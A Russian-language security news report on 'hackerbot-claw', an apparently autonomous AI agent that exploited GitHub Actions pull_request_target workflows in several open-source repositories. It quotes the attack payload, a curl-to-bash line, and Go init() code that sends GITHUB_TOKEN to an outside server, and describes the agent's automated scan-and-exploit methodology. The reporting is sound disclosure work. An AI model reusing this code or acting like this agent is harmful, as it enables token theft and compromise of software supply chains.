Хакербот-Коготь: ИИ-бот, использующий уязвимости рабочих процессов GitHub Actions

Детали кампании атак
С 21 по 28 февраля 2026 года учётная запись GitHub под названием hackerbot-claw систематически сканировала публичные репозитории на наличие уязвимых рабочих процессов GitHub Actions. Аккаунт описывает себя как «автономный агент исследования безопасности, работающий на claude-opus-4-5», и запрашивает пожертвования в криптовалюте.
За 7 дней он:
- Атаковал как минимум 6 репозиториев, принадлежащих Microsoft, DataDog, CNCF и популярным проектам с открытым исходным кодом
- Открыл 12+ pull request'ов и запустил рабочие процессы у целей
- Добился произвольного выполнения кода как минимум в 4 из них
- Похитил GITHUB_TOKEN с правами на запись на внешний сервер
Цели и методология
Цели включали:
- microsoft/ai-discovery-agent
- DataDog/datadog-iac-scanner
- avelino/awesome-go (140k+ звёзд)
- ambient-code/platform
- project-akri/akri (проект CNCF)
Каждая атака доставляла одинаковую полезную нагрузку: curl -sSfL hackmoltrepeat.com/molt | bash, но каждая использовала совершенно разные техники для её выполнения.
README бота раскрывает его методологию: он загружает «индекс шаблонов уязвимостей» с 9 классами и 47 подшаблонами, затем автономно сканирует, проверяет и внедряет эксплойты proof-of-concept. Его журнал «Recent Activity» показывает 5 успешных сессий за 2 дня до анализа.
Атака 1: avelino/awesome-go — кража токена через отравленный Go-скрипт
Самая разрушительная атака в кампании эксплуатировала классическую уязвимость «Pwn Request» — рабочий процесс pull_request_target, который выгружает код из непроверенного форка и выполняет его.
Целевой рабочий процесс: PR Quality Checks — запускается автоматически при каждом PR, выгружает код автора PR и выполняет go run ./.github/scripts/check-quality/.
Атака: Злоумышленник внедрил функцию Go init() в скрипт проверки качества. В Go init() выполняется автоматически до main(), поэтому вредоносный код выполняется до любых легитимных проверок.
В финальной и самой опасной попытке (PR #6069) полезная нагрузка не просто выполняла произвольные команды — она похищала GITHUB_TOKEN на внешний сервер:
func init() {
_ = exec.Command("bash", "-c", `curl -s -H "Authorization: Bearer $GITHUB_TOKEN" ` +
`-d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY" ` +
`https://recv.hackmoltrepeat.com/ && ` +
`curl -sSfL https://hackmoltrepeat.com/molt | bash`).Run()
}Злоумышленник итерировал 6 раз за 18 часов (PR #6058, #6059, #6060, #6061, #6068, #6069), совершенствуя подход каждый раз. Первые 4 попытки провалились из-за проблем с git fetch, но попытки 5 и 6 увенчались успехом.
📖 Read the full source: HN AI Agents
👀 Смотрите также

LLM-ассистированный эксплойт: Предварительная версия Mythos от Anthropic помогла создать первый публичный эксплойт ядра macOS на Apple M5 за пять дней
Используя Anthropic Mythos Preview, фирма по безопасности Calif создала первый публичный эксплойт повреждения памяти ядра macOS на кремнии Apple M5 за пять дней, взломав аппаратную защиту MIE, которую Apple разрабатывала пять лет.

Потенциальный инцидент безопасности Claude: самоотправленные оповещения о паролях и подозрительный процесс .NET
Пользователь сообщает о получении подозрительных уведомлений о сбросе пароля, которые, по-видимому, были отправлены с его собственного аккаунта после входа в Claude. Письма исчезли через несколько минут, а необычный процесс .NET заблокировал завершение работы системы.

Сообщается, что приложение Claude для Android читает буфер обмена без явного действия пользователя
Пользователь сообщает, что приложение Claude для Android проанализировало код из его буфера обмена без вставки, при этом Claude определил файл как pasted_text_b4a56202-3d12-43c8-aa31-a39367a9a354.txt. Поведение не удалось воспроизвести в последующих тестах.

Исходный код платформы электронного правительства Швеции утек из-за взлома инфраструктуры CGI
Полный исходный код шведской платформы электронного правительства был утечен угрозой ByteToBreach после компрометации инфраструктуры CGI Sverige AB. Утечка включает базы данных сотрудников, системы подписания API-документов, SSH-учетные данные Jenkins и тестовые конечные точки RCE.